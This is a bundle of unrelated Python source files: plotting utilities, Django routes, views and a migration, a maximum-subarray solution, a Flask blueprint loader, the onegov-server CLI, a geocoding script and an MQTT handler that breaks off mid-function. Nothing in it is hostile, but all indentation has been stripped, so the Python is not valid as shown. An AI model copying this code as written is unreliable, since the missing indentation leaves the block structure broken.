axis.set_ylim(*y_lims)
num_metrics = None
num_runs = len(runs_data)
for i, metrics_data in enumerate(runs_data):
num_metrics = len(metrics_data)
xs = range(i * len(metrics_data) + i, (i + 1) * len(metrics_data) + i)
max_v = .9
min_v = .6
colors = []
for idx in range(num_metrics):
if num_metrics > 1:
norm = idx * (max_v - min_v) / (num_metrics - 1)
else:
norm = 0
fill_color = list(colorsys.rgb_to_hls(*mc.to_rgb(color)))
fill_color[1] = min_v + norm
colors.append((
color,
colorsys.hls_to_rgb(*fill_color)
))
line_styles = ['-', '-.', ':', '--']
if mode == 'box':
boxplots = axis.boxplot(
metrics_data,
meanline=True,
showmeans=True,
positions=xs,
widths=0.6,
patch_artist=True
)
for plot_idx in range(num_metrics):
dark_color = colors[plot_idx][0]
light_color = colors[plot_idx][1]
plt.setp(boxplots['boxes'][plot_idx], color=dark_color)
plt.setp(boxplots['boxes'][plot_idx], facecolor=light_color)
plt.setp(boxplots['boxes'][plot_idx], linestyle=line_styles[plot_idx])
plt.setp(boxplots['whiskers'][plot_idx * 2], color=dark_color)
plt.setp(boxplots['whiskers'][plot_idx * 2 + 1], color=dark_color)
plt.setp(boxplots['whiskers'][plot_idx * 2], linestyle=line_styles[plot_idx])
plt.setp(boxplots['whiskers'][plot_idx * 2 + 1], linestyle=line_styles[plot_idx])
plt.setp(boxplots['caps'][plot_idx * 2], color=dark_color)
plt.setp(boxplots['caps'][plot_idx * 2 + 1], color=dark_color)
plt.setp(boxplots['fliers'][plot_idx], markeredgecolor=dark_color)
plt.setp(boxplots['fliers'][plot_idx], marker='x')
plt.setp(boxplots['medians'][plot_idx], color=dark_color)
plt.setp(boxplots['means'][plot_idx], color=dark_color)
legend_styles = [boxplots['boxes'][idx] for idx in range(num_metrics)]
elif mode == 'bar':
legend_styles = []
for plot_idx in range(num_metrics):
ret = axis.bar(xs[plot_idx], metrics_data[plot_idx],
color=colors[plot_idx][1],
edgecolor=colors[plot_idx][0],
width=0.6,
linewidth=1.25,
linestyle=line_styles[plot_idx], )
legend_styles.append(ret)
tick_offset = num_metrics * 0.5 - 0.5
ticks = np.arange(start=tick_offset, stop=num_runs * num_metrics + num_runs + tick_offset,
step=num_metrics + 1.0)
axis.set_xticks(ticks)
for yticklabel in axis.get_yticklabels():
yticklabel.set_fontsize(20)
axis.set_xticklabels([r.name for r in run_histories], fontsize=20, rotation=0)
if add_legend:
axis.legend(legend_styles, metric_names.values(),
loc='lower right', fontsize=16,
facecolor="white", frameon=True,
edgecolor="black")
if standalone_mode:
fig.show()
if target_file_paths is not None:
for target_file_path in target_file_paths:
fig.savefig(target_file_path)
return legend_styles
def plot_run(run: Run, metric_names: List[str], target_file_path):
axes: Iterable[plt.Axes]
fig: plt.Figure
fig, axes = plt.subplots(len(run.fold_histories))
for history, axis in zip(run.fold_histories, axes):
xs = np.arange(len(history.epochs))
loss = np.array([np.concatenate(epoch.loss).mean() for epoch in history.epochs])
axis.plot(xs, loss)
percentage_axis: plt.Axes = axis.twinx()
percentage_axis.set_ylim(0.0, 1.0)
metrics_to_plot = [[] for _ in metric_names]
for epoch in history.epochs:
for i, metric_name in enumerate(metric_names):
metrics_to_plot[i].append(epoch.metrics[metric_name])
for m in metrics_to_plot:
percentage_axis.plot(xs, np.array(m), linestyle='dashed')
fig.show()
fig.savefig(target_file_path)
def find_y_max_in_runs(parallel_run_histories: List[List[Run]], metric_names: List[Dict[str, str]]):
y_max = 0
for i, run_histories in enumerate(parallel_run_histories):
for run_history in run_histories:
for fold_history in run_history.fold_histories:
epoch = fold_history.epochs[-1]
for metric_name in metric_names[i].keys():
if epoch.metrics[metric_name] > y_max:
y_max = epoch.metrics[metric_name]
return y_max
def find_y_min_in_runs(parallel_run_histories: List[List[Run]], metric_names: List[Dict[str, str]]):
y_min = 0
for i, run_histories in enumerate(parallel_run_histories):
for run_history in run_histories:
for fold_history in run_history.fold_histories:
epoch = fold_history.epochs[-1]
for metric_name in metric_names[i].keys():
if epoch.metrics[metric_name] < y_min:
y_min = epoch.metrics[metric_name]
return y_min
def plot_f1_metrics_parallel(parallel_run_histories: List[List[Run]],
title: str,
titles: List[str],
metric_names: List[Dict[str, str]],
layout=None,
sync_scales=False,
margin_bot=0.0,
mode='box',
target_file_paths: Optional[List[str]] = None,
color=None):
if layout is None:
layout = 1, len(parallel_run_histories)
fig: plt.Figure = plt.figure(figsize=[8.0 * layout[1], 6.0 * layout[0]])
fig.suptitle(title, fontsize=24)
y_lims = None
if sync_scales:
y_max_lim = find_y_max_in_runs(parallel_run_histories, metric_names)
y_min_lim = find_y_min_in_runs(parallel_run_histories, metric_names)
lim_range = y_max_lim - y_min_lim
margin = lim_range * .1
y_min_lim = max((0, y_min_lim - margin - margin_bot))
y_max_lim = min((1, y_max_lim + margin))
y_lims = (y_min_lim, y_max_lim)
with plt.style.context('seaborn-whitegrid'):
for i, run_history in enumerate(parallel_run_histories):
axis: plt.Axes
axis = fig.add_subplot(layout[0], layout[1], i + 1)
legend_styles = plot_f1_metrics(run_history, titles[i], metric_names[i], target_file_paths=None, axis=axis,
color=color, mode=mode, y_lims=y_lims, add_legend=False)
if i == len(parallel_run_histories) - 1:
axis.legend(legend_styles, metric_names[-1].values(),
loc='lower right', fontsize=16,
facecolor="white", frameon=True,
edgecolor="black", bbox_to_anchor=(1.25, 0))
fig.show()
if target_file_paths is not None:
for target_file_path in target_file_paths:
fig.savefig(target_file_path)
def build_run_histories_from_paths(run_dict, matching_modes, none_class_id):
runs = []
for run_name, run_path in run_dict.items():
runs.append(build_run_history_from_path(run_path, run_name, matching_modes, none_class_id))
return runs
def build_run_history_from_path(run_path, run_name, matching_modes, none_class_id):
with open(run_path) as run_file:
folds = json.load(run_file)
run_history = Run(name=run_name)
run_history.fold_histories = []
for epoch_vals in folds:
epoch = Epoch()
epoch.metrics = {
f'span_{mode}': []
for mode in matching_modes
}
y_trues = epoch_vals['y_true']
y_preds = epoch_vals['y_pred']
for mode in matching_modes:
for y_true, y_pred in zip(y_trues, y_preds):
span = span_matcher(np.array(y_true), np.array(y_pred), mode=mode, none_class_id=none_class_id)
epoch.metrics[f'span_{mode}'].append(span)
epoch.metrics = get_metrics(epoch, matching_modes)
run_history.fold_histories.append(History([epoch]))
return run_history
|
from django.conf.urls import url
from accounts.views import *
urlpatterns = [
url(r'^$',Register.as_view()),
url(r'login/$',Login.as_view()),
url(r'cleaner/$',FindCleaner.as_view()),
url(r'book/(?P<city_id>\d+)/$',BookCleaner.as_view()),
url(r'confirm/$',ConfirmBooking.as_view()),
] |
__author__ = "Komal Atul Sorte"
"""
Given an integer array nums, find the contiguous subarray (containing at least one number) which has the largest sum and return its sum.
Example:
Input: [-2,1,-3,4,-1,2,1,-5,4],
Output: 6
Explanation: [4,-1,2,1] has the largest sum = 6.
Follow up:
If you have figured out the O(n) solution, try coding another solution using the divide and conquer approach, which is more subtle.
"""
class Solution1:
# 200 / 202 test cases passed.
def maxSubArray1(self, nums):
if len(nums) == 1:
return nums[0]
start, end = 0, 0
maxSum = float('-inf')
# maxSumArray = list()
currentSum = 0
while start != len(nums):
currentSum += nums[end]
if currentSum > maxSum:
maxSum = currentSum
# maxSumArray = nums[start: end + 1]
end += 1
if end == len(nums):
start += 1
end = start
currentSum = 0
return maxSum
def maxSubArray(self, nums):
n = len(nums)
max_sum = nums[0]
for i in range(1, n):
if nums[i - 1] > 0:
nums[i] += nums[i - 1]
max_sum = max(nums[i], max_sum)
return max_sum
class Solution:
def cross_sum(self, nums, left, right, p):
if left == right:
return nums[left]
left_subsum = float('-inf')
curr_sum = 0
for i in range(p, left - 1, -1):
curr_sum += nums[i]
left_subsum = max(left_subsum, curr_sum)
right_subsum = float('-inf')
curr_sum = 0
for i in range(p + 1, right + 1):
curr_sum += nums[i]
right_subsum = max(right_subsum, curr_sum)
return left_subsum + right_subsum
def helper(self, nums, left, right):
if left == right:
return nums[left]
p = (left + right) // 2
left_sum = self.helper(nums, left, p)
right_sum = self.helper(nums, p + 1, right)
cross_sum = self.cross_sum(nums, left, right, p)
return max(left_sum, right_sum, cross_sum)
def maxSubArray(self, nums: 'List[int]') -> 'int':
return self.helper(nums, 0, len(nums) - 1)
if __name__ == '__main__':
nums = [-2, 1, -3, 4, -1, 2, 1, -5, 4]
# nums = [-2, 1]
print(Solution().maxSubArray(nums))
|
from django.contrib.auth.decorators import login_required
from django.contrib.auth.mixins import LoginRequiredMixin
from django.shortcuts import render, get_object_or_404, redirect
from django.views import generic
from article.forms import IncomeDebitsForm
from article.models import *
from users.models import User
class ArticleView(LoginRequiredMixin, generic.ListView):
login_url = '/accounts/login'
model = Article
template_name = 'pages/main.html'
class ArticleDetailView(LoginRequiredMixin, generic.DetailView):
login_url = '/accounts/login'
model = Article
template_name = 'pages/article_detail.html'
class CreateArticle(LoginRequiredMixin, generic.CreateView):
login_url = '/accounts/login'
model = Article
fields = ('category_id', 'title', 'description', 'image')
template_name = 'pages/article_create_update.html'
def form_valid(self, form):
user = get_object_or_404(User, username=self.request.user)
form.instance.user = user
return super(CreateArticle, self).form_valid(form)
class UpdateArticle(LoginRequiredMixin, generic.UpdateView):
login_url = '/accounts/login'
model = Article
fields = ('category_id', 'title', 'description', 'image')
template_name = 'pages/article_create_update.html'
success_url = '/'
@login_required
def delete_article(request, pk):
get_object_or_404(Article, pk=pk).delete()
return redirect('main')
class CategoryView(LoginRequiredMixin, generic.ListView):
login_url = '/accounts/login'
model = Category
template_name = 'pages/category_list.html'
class CreateCategory(LoginRequiredMixin, generic.CreateView):
login_url = '/accounts/login'
model = Category
fields = '__all__'
template_name = 'pages/category_create_update.html'
success_url = '/category_list'
class UpdateCategory(LoginRequiredMixin, generic.UpdateView):
login_url = '/accounts/login'
model = Category
fields = '__all__'
template_name = 'pages/category_create_update.html'
success_url = '/category_list'
@login_required
def category_delete(request, pk):
get_object_or_404(Category, pk=pk).delete()
return redirect('category_list') |
import unittest
import numpy as np
from .. import generative_model
from ..schemes import label_votes, intensity_id, diffusion_id
class TestScheme(unittest.TestCase):
def test_voting_methodology(self):
"""Tests the voting scheme and the voting as a whole method """
# 3 trains subjects, 1 test subject, 10 voxels
test_image = np.arange(0, 1, 0.1)
train_images = np.tile(test_image, (3,1))
train_labels = [[0,1,0,1,1,0,1,2,3,3],
[1,1,0,1,1,0,1,2,2,3],
[1,1,1,2,2,2,3,3,2,3]]
test_diffusion = [[0]*3]*10
train_diffusion = [test_diffusion,
test_diffusion,
test_diffusion]
# Voting skeme
segmentation = generative_model(label_votes, intensity_id, diffusion_id,
train_labels, test_image, train_images,
test_diffusion, train_diffusion)
gt = np.array([1, 1, 0, 1, 1, 0, 1, 2, 2, 3])
np.testing.assert_array_equal(segmentation, gt)
|
from flask import Flask
from flask import Blueprint
from . import auth
from . import api
from . import ui
from .auth.functions.utils import getUser
class Views:
_listOfRouters = [auth.router, api.router, ui.router]
def __init__(self, app:"Flask"):
for r in self._listOfRouters:
bp = Blueprint(name=r["config"]["name"], import_name="app")
for attrName, attrValue in r["config"].items():
if hasattr(bp, attrName):
setattr(bp, attrName, attrValue)
for route in r["routes"]:
bp.add_url_rule(
rule = route["rule"],
methods = route["methods"],
endpoint = route["endpoint"],
view_func = route["view_func"],
)
app.register_blueprint(bp)
app.before_request(getUser)
|
""" The onegov.server can be run through the 'onegov-server' command after
installation.
Said command runs the onegov server with the given configuration file in the
foreground.
Use this **for debugging/development only**.
Example::
onegov-server --config-file test.yml
The onegov-server will load 'onegov.yml' by default and it will restart
when any file in the current folder or any file somewhere inside './src'
changes.
Changes to omlette directories require a manual restart.
A onegov.yml file looks like this:
.. code-block:: yaml
applications:
- path: /apps/*
application: my.app.TestApp
namespace: apps
configuration:
allowed_hosts_expression: '^[a-z]+.apps.dev'
dsn: postgres://username:password@localhost:5432/db
identity_secure: false
identity_secret: very-secret-key
logging:
formatters:
simpleFormater:
format: '%(asctime)s - %(levelname)s: %(message)s'
datefmt: '%Y-%m-%d %H:%M:%S'
handlers:
console:
class: logging.StreamHandler
formatter: simpleFormater
level: DEBUG
stream: ext://sys.stdout
loggers:
onegov.core:
level: DEBUG
handlers: [console]
"""
import bjoern
import click
import multiprocessing
import os
import sentry_sdk
import shutil
import signal
import sys
import time
import traceback
import tracemalloc
from functools import partial
from importlib import import_module
from onegov.server import Config
from onegov.server import log
from onegov.server import Server
from onegov.server.tracker import ResourceTracker
from sentry_sdk.integrations.redis import RedisIntegration
from sentry_sdk.integrations.sqlalchemy import SqlalchemyIntegration
from sentry_sdk.integrations.wsgi import SentryWsgiMiddleware
from time import perf_counter
from watchdog.events import FileSystemEventHandler
from watchdog.observers import Observer
from xtermcolor import colorize
from typing import Any, Literal, TYPE_CHECKING
if TYPE_CHECKING:
from _typeshed import OptExcInfo
from _typeshed.wsgi import WSGIApplication, WSGIEnvironment, StartResponse
from collections.abc import Callable, Iterable
from multiprocessing.sharedctypes import Synchronized
from types import FrameType
from watchdog.events import FileSystemEvent
RESOURCE_TRACKER: ResourceTracker = None # type:ignore[assignment]
@click.command()
@click.option(
'--config-file',
'-c',
help="Configuration file to use",
type=click.Path(exists=True),
default="onegov.yml"
)
@click.option(
'--port',
'-p',
help="Port to bind to",
type=click.IntRange(min=0, max=65535),
default=8080
)
@click.option(
'--pdb',
help="Enable post-mortem debugging (debug mode only)",
default=False,
is_flag=True
)
@click.option(
'--tracemalloc',
help="Enable tracemalloc (debug mode only)",
default=False,
is_flag=True
)
@click.option(
'--mode',
help="Defines the mode used to run the server cli (debug|production)",
type=click.Choice(('debug', 'production'), case_sensitive=False),
default='debug',
)
@click.option(
'--sentry-dsn',
help="Sentry DSN to use (production mode only)",
default=None,
)
@click.option(
'--sentry-environment',
help="Sentry environment tag (production mode only)",
default='testing',
)
@click.option(
'--sentry-release',
help="Sentry release tag (production mode only)",
default=None,
)
@click.option(
'--send-ppi',
help="Allow sentry_sdk to send personally identifiable information",
default=False,
is_flag=True
)
@click.option(
'--traces-sample-rate',
help="How often should sentry_sdk send traces to the backend",
type=click.FloatRange(min=0.0, max=1.0),
default=0.1
)
@click.option(
'--profiles-sample-rate',
help="How often should sentry_sdk also send a profile with the trace",
type=click.FloatRange(min=0.0, max=1.0),
default=0.25
)
def run(
config_file: str | bytes,
port: int,
pdb: bool,
tracemalloc: bool,
mode: Literal['debug', 'production'],
sentry_dsn: str | None,
sentry_environment: str,
sentry_release: str | None,
send_ppi: bool,
traces_sample_rate: float,
profiles_sample_rate: float
) -> None:
""" Runs the onegov server with the given configuration file in the
foreground.
Use this **for debugging/development only**.
Example::
onegov-server --config-file test.yml
The onegov-server will load 'onegov.yml' by default and it will restart
when any file in the current folder or any file somewhere inside './src'
changes.
Changes to omlette directories require a manual restart.
"""
# <- the docs are currently duplicated somewhat at the top of the module
# because click does not play well with sphinx yet
# see https://github.com/mitsuhiko/click/issues/127
# We do not use process forking for Python's multiprocessing here, as some
# shared libraries (namely kerberos) do not work well with forks (i.e.
# there are hangs).
#
# It is also cleaner to use 'spawn' as we get a new process spawned each
# time, which ensures that there is no residual state around that might
# cause the first run of onegov-server to be different than any subsequent
# runs through automated reloads.
if mode == 'debug':
return run_debug(config_file, port, pdb, tracemalloc)
if sentry_dsn:
with_sentry = True
integrations = [
RedisIntegration(),
SqlalchemyIntegration(),
]
# HACK: We don't want to statically depend on onegov.core
# from onegov.server, but our sentry integration does
# need to be defined there, so it knows about the internals
# of the application, so we use importlib.import_module
# to make this dependency optional, if we decide we can
# live with less information, we could move this out into
# more.sentry and import the integration from there.
try:
ogc_sentry = import_module('onegov.core.sentry')
integrations.insert(0, ogc_sentry.OneGovCloudIntegration(
# while inserting the wsgi middleware twice is not
# harmful, we do save ourselves some static overhead
# if we don't do it.
with_wsgi_middleware=False
))
except ImportError:
pass
sentry_sdk.init(
dsn=sentry_dsn,
release=sentry_release,
environment=sentry_environment,
send_default_pii=send_ppi,
traces_sample_rate=traces_sample_rate,
profiles_sample_rate=profiles_sample_rate,
integrations=integrations)
# somehow sentry attaches itself to the global exception hook, even if
# we set 'install_sys_hook' to False -> so we just reset to the
# original state before serving our application (otherwise we get each
# error report twice)
sys.excepthook = sys.__excepthook__
else:
with_sentry = False
return run_production(config_file, port, with_sentry=with_sentry)
def run_production(
config_file: str | bytes,
port: int,
with_sentry: bool
) -> None:
# required by Bjoern
env = {'webob.url_encoding': 'latin-1'}
app: 'WSGIApplication' = Server(
config=Config.from_yaml_file(config_file),
environ_overrides=env)
if with_sentry:
# NOTE: Most things should be caught at lower scopes with
# more detailed information by our integrations, but
# the SentryWsgiMiddleware also performs some bookkeeping
# necessary for traces and profiles to work, so we
# should make this the top level application wrapper
# We could wrap each hosted application individually
# instead, but then we are not measuring the overhead
# of this top-level application router.
app = SentryWsgiMiddleware(app)
bjoern.run(app, '127.0.0.1', port, reuse_port=True)
def run_debug(
config_file: str | bytes,
port: int,
pdb: bool,
tracemalloc: bool
) -> None:
multiprocessing.set_start_method('spawn')
factory = partial(debug_wsgi_factory, config_file=config_file, pdb=pdb)
server = WsgiServer(factory, port=port, enable_tracemalloc=tracemalloc)
server.start()
observer = Observer()
observer.schedule(server, 'src', recursive=True)
observer.schedule(server, '.', recursive=False)
observer.start()
while True:
try:
server.join(0.2)
except KeyboardInterrupt:
observer.stop()
server.stop()
sys.exit(0)
def debug_wsgi_factory(config_file: str | bytes, pdb: bool) -> Server:
return Server(Config.from_yaml_file(config_file), post_mortem=pdb)
class WSGIRequestMonitorMiddleware:
""" Measures the time it takes to respond to a request and prints it
at the end of the request.
"""
def __init__(self, app: 'WSGIApplication'):
self.app = app
def __call__(
self,
environ: 'WSGIEnvironment',
start_response: 'StartResponse'
) -> 'Iterable[bytes]':
received = perf_counter()
received_status: str = ''
def local_start_response(
status: str,
headers: list[tuple[str, str]],
exc_info: 'OptExcInfo | None' = None
) -> 'Callable[[bytes], object]':
nonlocal received_status
received_status = status
return start_response(status, headers, exc_info)
response = self.app(environ, local_start_response)
self.log(environ, received_status, received)
return response
def log(
self,
environ: 'WSGIEnvironment',
status: str,
received: float
) -> None:
duration_ms = (perf_counter() - received) * 1000.0
status = status.split(' ', 1)[0]
path = f"{environ['SCRIPT_NAME']}{environ['PATH_INFO']}"
method = environ['REQUEST_METHOD']
template = (
"{status} - {duration} - {method} {path} - {c:.3f} MiB ({d:+.3f})"
)
if status in {302, 304}:
path = colorize(path, rgb=0x666666) # grey
else:
pass # white
if duration_ms > 500.0:
duration = click.style(f'{duration_ms:.0f} ms', fg='red')
elif duration_ms > 250.0:
duration = click.style(f'{duration_ms:.0f} ms', fg='yellow')
else:
duration = click.style(f'{duration_ms:.0f} ms', fg='green')
if method == 'POST':
method = click.style(method, underline=True)
RESOURCE_TRACKER.track()
usage = RESOURCE_TRACKER.memory_usage
delta = RESOURCE_TRACKER.memory_usage_delta
print(template.format(
status=status,
method=method,
path=path,
duration=duration,
c=usage / 1024 / 1024,
d=delta / 1024 / 1024
))
class WsgiProcess(multiprocessing.Process):
""" Runs the WSGI reference server in a separate process. This is a debug
process, not used in production.
"""
_ready: 'Synchronized[int]'
def __init__(
self,
app_factory: 'Callable[[], WSGIApplication]',
host: str = '127.0.0.1',
port: int = 8080,
env: dict[str, str] | None = None,
enable_tracemalloc: bool = False
):
env = env or {}
multiprocessing.Process.__init__(self)
self.app_factory = app_factory
self.host = host
self.port = port
self.enable_tracemalloc = enable_tracemalloc
self._ready = multiprocessing.Value('i', 0) # type:ignore[assignment]
# hook up environment variables
for key, value in env.items():
os.environ[key] = value
try:
self.stdin_fileno = sys.stdin.fileno()
except ValueError:
pass # in testing, stdin is not always real
@property
def ready(self) -> bool:
return self._ready.value == 1
def print_memory_stats(
self,
signum: int,
frame: 'FrameType | None'
) -> None:
print("-" * shutil.get_terminal_size((80, 20)).columns)
RESOURCE_TRACKER.show_memory_usage()
if tracemalloc.is_tracing():
RESOURCE_TRACKER.show_monotonically_increasing_traces()
print("-" * shutil.get_terminal_size((80, 20)).columns)
def disable_systemwide_darwin_proxies(self): # type:ignore
# System-wide proxy settings on darwin need to be disabled, because
# it leads to crashes in our forked subprocess:
# https://bugs.python.org/issue27126
# https://bugs.python.org/issue13829
import urllib.request
urllib.request.proxy_bypass_macosx_sysconf = lambda host: None
urllib.request.getproxies_macosx_sysconf = lambda: {}
def run(self) -> None:
# use the parent's process stdin to be able to provide pdb correctly
if hasattr(self, 'stdin_fileno'):
sys.stdin = os.fdopen(self.stdin_fileno)
# when pressing ctrl+c exit immediately
signal.signal(signal.SIGINT, lambda *args: sys.exit(0))
# when pressing ctrl+t show the memory usage of the process
if hasattr(signal, 'SIGINFO'):
signal.signal(signal.SIGINFO, self.print_memory_stats)
# reset the tty every time, fixing problems that might occur if
# the process is restarted during a pdb session
os.system('stty sane')
try:
if sys.platform == 'darwin':
self.disable_systemwide_darwin_proxies()
global RESOURCE_TRACKER
RESOURCE_TRACKER = ResourceTracker(
enable_tracemalloc=self.enable_tracemalloc)
wsgi_application = WSGIRequestMonitorMiddleware(self.app_factory())
bjoern.listen(wsgi_application, self.host, self.port)
except Exception:
# if there's an error, print it
print(traceback.format_exc())
# and just never start the server (but don't stop the
# process either). this makes this work:
# 1. save -> import error
# 2. save corrected version -> server restarted
while True:
time.sleep(10.0)
self._ready.value = 1
print(f"started onegov server on http://{self.host}:{self.port}")
bjoern.run()
class WsgiServer(FileSystemEventHandler):
""" Wraps the WSGI process, providing the ability to restart the process
and acting as an event-handler for watchdog.
"""
def __init__(
self,
app_factory: 'Callable[[], WSGIApplication]',
host: str = '127.0.0.1',
port: int = 8080,
**kwargs: Any
):
self.app_factory = app_factory
self._host = host
self._port = port
self.kwargs = kwargs
def spawn(self) -> WsgiProcess:
return WsgiProcess(self.app_factory, self._host, self._port, {
'ONEGOV_DEVELOPMENT': '1'
}, **self.kwargs)
def join(self, timeout: float | None = None) -> None:
try:
self.process.join(timeout)
except Exception:
# ignore errors such as not yet started, process already finished
# or already closed process objects - it's used for debug anyway
log.warning('Could not join')
def start(self) -> None:
self.process = self.spawn()
self.process.start()
def restart(self) -> None:
self.stop(block=True)
self.start()
def stop(self, block: bool = False) -> None:
self.process.terminate()
if block:
self.join()
def on_any_event(self, event: 'FileSystemEvent') -> None:
""" If anything of significance changed, restart the process. """
if getattr(event, 'event_type', None) == 'opened':
return
src_path = event.src_path
if 'tests/' in src_path:
return
if event.is_directory:
return
if src_path.endswith('pyc'):
return
if src_path.endswith('scss'):
return
if src_path.endswith('pt'):
return
if src_path.endswith('.rdb'):
return
if '/.testmondata' in src_path:
return
if '/.git' in src_path:
return
if '/__pycache__' in src_path:
return
if '/onegov.server' in src_path:
return
if '/file-storage' in src_path:
return
if '/mails' in src_path:
return
if '/profiles' in src_path:
return
if '.webassets-cache' in src_path:
return
if 'assets/bundles' in src_path:
return
if 'onegov.sublime' in src_path:
return
if '.cache' in src_path:
return
if src_path.endswith('~'):
return
print(f'changed: {src_path}')
self.restart()
|
import pandas
import geopy
from geopy.geocoders import ArcGIS
nom = ArcGIS()
#df=pandas.read_csv("supermarkets.csv")
#df["Address_2"]=df["Address"]+","+df["City"]+","+df["State"]+","+df["Country"]
df=pandas.read_csv("customers.csv")
df["Address_2"]=df["Address"].apply(str)+","+df["Zip"].apply(str)+","+df["City"].apply(str)+","+df["Country"].apply(str)
df["Coordinates"]=df["Address_2"].apply(nom.geocode)
df["Lat"]=df["Coordinates"].apply(lambda x: x.latitude if x!=None else None)
df["Lon"]=df["Coordinates"].apply(lambda x: x.longitude if x!=None else None)
df.to_csv("out.csv")
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('productos', '0010_auto_20150807_1634'),
('proyectos', '0004_auto_20150807_1621'),
]
operations = [
migrations.CreateModel(
name='CategoriaOrden',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('Codigo', models.CharField(max_length=100)),
('Nombre', models.CharField(max_length=150)),
],
),
migrations.CreateModel(
name='Condiciones',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('Codigo', models.CharField(max_length=100)),
('Descripcion', models.TextField()),
],
),
migrations.CreateModel(
name='Cotizaciones',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('Codigo', models.CharField(max_length=100)),
('Fecha', models.DateField()),
('Vigencia', models.DateField(auto_now_add=True)),
('Tiempo', models.IntegerField()),
('Subtotal', models.DecimalField(max_digits=19, decimal_places=2)),
('IVA', models.DecimalField(max_digits=19, decimal_places=2)),
('Total', models.DecimalField(max_digits=19, decimal_places=2)),
],
),
migrations.CreateModel(
name='DetalleProductoCotizacion',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('Cantidad', models.IntegerField()),
('PrecioUnitario', models.DecimalField(max_digits=19, decimal_places=2)),
('PrecioExtendido', models.DecimalField(max_digits=19, decimal_places=2)),
('Cotizaciones', models.ForeignKey(to='proyectos.Cotizaciones')),
('Productos', models.ForeignKey(to='productos.Productos')),
],
),
migrations.CreateModel(
name='DetalleProductoEstimacion',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('Cantidad', models.IntegerField()),
('PrecioUnitario', models.DecimalField(max_digits=19, decimal_places=2)),
('PrecioExtendido', models.DecimalField(max_digits=19, decimal_places=2)),
],
),
migrations.CreateModel(
name='DetalleServicioCotizacion',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('Cantidad', models.IntegerField()),
('PrecioUnitario', models.DecimalField(max_digits=19, decimal_places=2)),
('PrecioExtendido', models.DecimalField(max_digits=19, decimal_places=2)),
('Cotizaciones', models.ForeignKey(to='proyectos.Cotizaciones')),
('Servicios', models.ForeignKey(to='productos.Servicios')),
],
),
migrations.CreateModel(
name='DetalleServicioEstimacion',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('Cantidad', models.IntegerField()),
('PrecioUnitario', models.DecimalField(max_digits=19, decimal_places=2)),
('PrecioExtendido', models.DecimalField(max_digits=19, decimal_places=2)),
],
),
migrations.CreateModel(
name='Estimaciones',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('Codigo', models.CharField(max_length=100)),
('Nombre', models.CharField(max_length=150)),
('Fecha', models.DateField(auto_now_add=True)),
('Tiempo', models.IntegerField()),
('Subtotal', models.DecimalField(max_digits=19, decimal_places=2)),
],
),
migrations.CreateModel(
name='FasesCotizaciones',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('Etapa', models.IntegerField()),
('Descripcion', models.TextField()),
('Tiempo', models.IntegerField()),
('Cotizaciones', models.ForeignKey(to='proyectos.Cotizaciones')),
],
),
migrations.CreateModel(
name='FasesEstimaciones',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('Etapa', models.IntegerField()),
('Descripcion', models.TextField()),
('Tiempo', models.IntegerField()),
('Estimaciones', models.ForeignKey(to='proyectos.Estimaciones')),
],
),
migrations.CreateModel(
name='Garantias',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('Codigo', models.CharField(max_length=100)),
('Descripcion', models.TextField()),
('Cotizaciones', models.ForeignKey(to='proyectos.Cotizaciones')),
],
),
migrations.CreateModel(
name='Orden',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('Codigo', models.CharField(max_length=100)),
('NombreProyecto', models.TextField()),
('Descripcion', models.TextField()),
('Domicilio', models.CharField(max_length=150)),
('Numero_interior', models.IntegerField()),
('Numero_exterior', models.IntegerField()),
('Colonia', models.CharField(max_length=150)),
('CP', models.IntegerField()),
('Ciudad', models.CharField(max_length=100)),
('Estado', models.CharField(max_length=100)),
('Fecha', models.DateField(auto_now_add=True)),
('FechaProyecto', models.DateField()),
],
),
migrations.AddField(
model_name='estimaciones',
name='Orden',
field=models.ForeignKey(to='proyectos.Orden'),
),
migrations.AddField(
model_name='estimaciones',
name='Productos',
field=models.ManyToManyField(to='productos.Productos'),
),
migrations.AddField(
model_name='estimaciones',
name='Servicios',
field=models.ManyToManyField(to='productos.Servicios'),
),
migrations.AddField(
model_name='detalleservicioestimacion',
name='Estimaciones',
field=models.ForeignKey(to='proyectos.Estimaciones'),
),
migrations.AddField(
model_name='detalleservicioestimacion',
name='Servicios',
field=models.ForeignKey(to='productos.Servicios'),
),
migrations.AddField(
model_name='detalleproductoestimacion',
name='Estimaciones',
field=models.ForeignKey(to='proyectos.Estimaciones'),
),
migrations.AddField(
model_name='detalleproductoestimacion',
name='Productos',
field=models.ForeignKey(to='productos.Productos'),
),
migrations.AddField(
model_name='cotizaciones',
name='Orden',
field=models.ForeignKey(to='proyectos.Orden'),
),
migrations.AddField(
model_name='condiciones',
name='Cotizaciones',
field=models.ForeignKey(to='proyectos.Cotizaciones'),
),
migrations.AddField(
model_name='categoriaorden',
name='Orden',
field=models.OneToOneField(to='proyectos.Orden'),
),
]
|
import re
import paho.mqtt.client as mqtt
from influxdb import InfluxDBClient
def on_connect(client, userdata, flags, rc):
print("Connected with result code " + str(rc))
client.subscribe("guitar/+")
def on_message(client, userdata, msg):
match = re.match("guitar/([^/]+)", msg.topic)
event_type = match.group(1)
event_tags = None
if event_type == "voltage":
event_payload = float(msg.payload)
elif event_type == "bump":
event_payload = int(msg.payload)
elif event_type == "color":
event_payload = 1
event_tags = {
"color": msg.payload.decode()
}
elif event_type == "motor_a":
event_type = "motor"
event_payload = int(msg.payload)
event_tags = {
"motor": "A"
}
